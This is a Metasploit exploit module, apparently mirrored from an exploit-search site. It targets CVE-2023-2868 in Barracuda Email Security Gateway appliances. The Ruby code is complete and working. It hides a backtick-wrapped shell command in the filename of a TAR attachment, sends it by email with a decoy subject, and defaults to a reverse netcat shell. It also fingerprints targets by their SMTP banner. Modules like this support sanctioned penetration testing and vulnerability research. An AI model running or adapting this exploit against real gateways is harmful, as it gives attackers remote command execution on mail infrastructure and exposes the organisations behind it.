Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-SMTP-BARRACUDA_ESG_TARFILE_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SMTPDeliver

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Barracuda ESG TAR Filename Command Injection',
        'Description' => %q{
          This module exploits CVE-2023-2868, a command injection vulnerability in
          Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
          in how the ESG processes TAR file attachments - filenames containing shell
          metacharacters (backticks) are passed directly to shell commands during
          extraction, allowing remote command execution.

          The exploit sends an email with a specially crafted TAR attachment where
          the filename contains a backtick-wrapped command. When the ESG processes
          this attachment, the command is executed as the mail processing user.

          Note: Payload execution may take 30-90 seconds after email delivery.
          Amavisd queues and processes attachments asynchronously.

          Affected versions: Barracuda ESG firmware prior to May 2023 patch.

          Payloads containing single quotes or backticks are incompatible with
          the injection mechanism. Use cmd/unix/generic with a custom CMD for
          specialized payload requirements.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mandiant', # Discovery and analysis
          'cfielding-r7', # Original PoC
          'Curt Hyvarinen' # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-2868'],
          ['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'],
          ['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'],
          ['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868']
        ],
        'DisclosureDate' => '2023-05-23',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 490,
          'DisableNops' => true,
          'BadChars' => "'\`\x00\r\n"
        },
        'Targets' => [
          ['Unix Command', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('MAILTO', [true, 'Target email address on the ESG']),
        OptString.new('MAILFROM', [true, 'Sender email address', 'scanner@example.com']),
        OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']),
        OptString.new('BODY', [false, 'Email body text (default: random string)']),
        OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)'])
      ]
    )
  end

  def check
    connect
    banner_str = banner.to_s
    if banner_str =~ /barracuda/i
      return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
    end

    if banner_str =~ /ESMTP/i
      return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
    end

    CheckCode::Safe('No SMTP banner detected')
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    cmd = payload.encoded

    # Wrap payload in critical format for command injection:
    # Outer single quotes prevent immediate shell parsing,
    # backticks trigger command substitution when processed by vulnerable code
    malicious_filename = "'`#{cmd}`'"

    print_status('Generating malicious TAR with payload filename')
    vprint_status("Payload filename length: #{malicious_filename.length} bytes")
    tar_data = create_malicious_tar(malicious_filename)

    print_status('Composing email with TAR attachment')
    email_data = generate_exploit_email(tar_data)

    print_status("Sending exploit email to #{datastore['MAILTO']} via #{Rex::Socket.to_authority(rhost, rport)}")
    send_message(email_data)

    print_good('Email sent successfully')
    print_status('Payload will execute when ESG processes the attachment')
  end

  def create_malicious_tar(malicious_filename)
    # Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a
    # 100-byte filename limit. Override split_name to allow longer filenames
    # with special characters for the injection payload.

    original_split = Rex::Tar::Writer.instance_method(:split_name)

    Rex::Tar::Writer.define_method(:split_name) do |name|
      prefix = ''
      if name.bytesize > 100
        parts = name.split('/', -1)
        name = parts.pop
        prefix = parts.join('/')
        while !parts.empty? && (prefix.bytesize > 155 || name.empty?)
          name = parts.pop + '/' + name
          prefix = parts.join('/')
        end
      end
      [name, prefix]
    end

    tar_io = StringIO.new
    Rex::Tar::Writer.new(tar_io) do |tar|
      content = Rex::Text.rand_text_alpha(32)
      tar.add_file_simple(malicious_filename, 0o644, content.length) do |io|
        io.write(content)
      end
    end

    # Restore original method to avoid affecting other code
    Rex::Tar::Writer.define_method(:split_name, original_split)

    tar_io.string
  end

  def generate_exploit_email(tar_data)
    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.from = datastore['MAILFROM']
    msg.to = datastore['MAILTO']
    msg.subject = datastore['SUBJECT']

    # Add text body
    body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY']
    msg.add_part(body_text, 'text/plain', nil, 'inline')

    # Add TAR attachment
    attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME']
    msg.add_part_attachment(tar_data, attachment_name)

    msg.to_s
  end
end